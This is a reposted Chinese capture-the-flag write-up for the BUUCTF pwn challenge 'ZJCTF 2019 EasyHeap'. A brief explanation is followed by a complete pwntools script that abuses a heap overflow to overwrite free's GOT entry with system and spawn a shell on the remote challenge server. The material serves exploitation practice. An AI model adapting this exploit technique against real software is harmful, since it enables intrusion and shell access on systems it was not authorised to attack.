[BUUCTF-pwn]——[ZJCTF 2019]EasyHeap
生活随笔
收集整理的這篇文章主要介紹了
[BUUCTF-pwn]——[ZJCTF 2019]EasyHeap
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
[BUUCTF-pwn]——[ZJCTF 2019]EasyHeap
思路
我們第一個想法肯定是執行l33t這個函數,事實證明被擺了一道。沒有結果,
但是我們有system函數我們可以將其放入我們可以操控的函數,比如printf、puts、gets、free等函數的got表,通過傳入/bin/sh來解決。利用堆漏洞就可以達到其目的。
exploit
from pwn import *context(os='linux',arch='amd64',log_level='debug')p = remote("node4.buuoj.cn",28081) elf = ELF('easyheap') p.sendafter('Your choice :',b'1\n') p.sendafter('Size of Heap : ',b'96\n') p.sendafter('Content of heap:',b'\n')p.sendafter('Your choice :',b'1\n') p.sendafter('Size of Heap : ',b'96\n') p.sendafter('Content of heap:',b'\n')p.sendafter('Your choice :',b'3\n') # free 1 p.sendafter('Index :','1\n')payload = p64(0x0) * 13 + p64(0x71) + p64(0x6020ad) + p64(0x0) p.sendafter('Your choice :',b'2\n') p.sendafter('Index :',b'0\n') p.sendafter('Size of Heap : ',b'1000\n') p.sendafter('Content of heap : ',payload)p.sendafter('Your choice :',b'1\n') p.sendafter('Size of Heap : ',b'96\n') p.sendafter('Content of heap:',b'\n')p.sendafter('Your choice :',b'1\n') p.sendafter('Size of Heap : ',b'96\n') p.sendafter('Content of heap:',b'\n')payload = b'a' * 35 + p64(elf.got['free']) p.sendafter('Your choice :',b'2\n') p.sendafter('Index :',b'2\n') p.sendafter('Size of Heap : ',b'1000\n') p.sendafter('Content of heap : ',payload)sys_addr = 0x400700 p.sendafter('Your choice :',b'2\n') p.sendafter('Index :',b'0\n') p.sendafter('Size of Heap : ',b'1000\n') p.sendafter('Content of heap : ',p64(sys_addr))binsh = '/bin/sh\x00' p.sendafter('Your choice :',b'2\n') p.sendafter('Index :',b'1\n') p.sendafter('Size of Heap : ',b'1000\n') p.sendafter('Content of heap : ',binsh)p.sendafter('Your choice :',b'3\n') p.sendafter('Index :',b'1\n')p.interactive()總結
以上是生活随笔為你收集整理的[BUUCTF-pwn]——[ZJCTF 2019]EasyHeap的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [BUUCTF-pwn]——pwnabl
- 下一篇: [BUUCTF-pwn]——ciscn_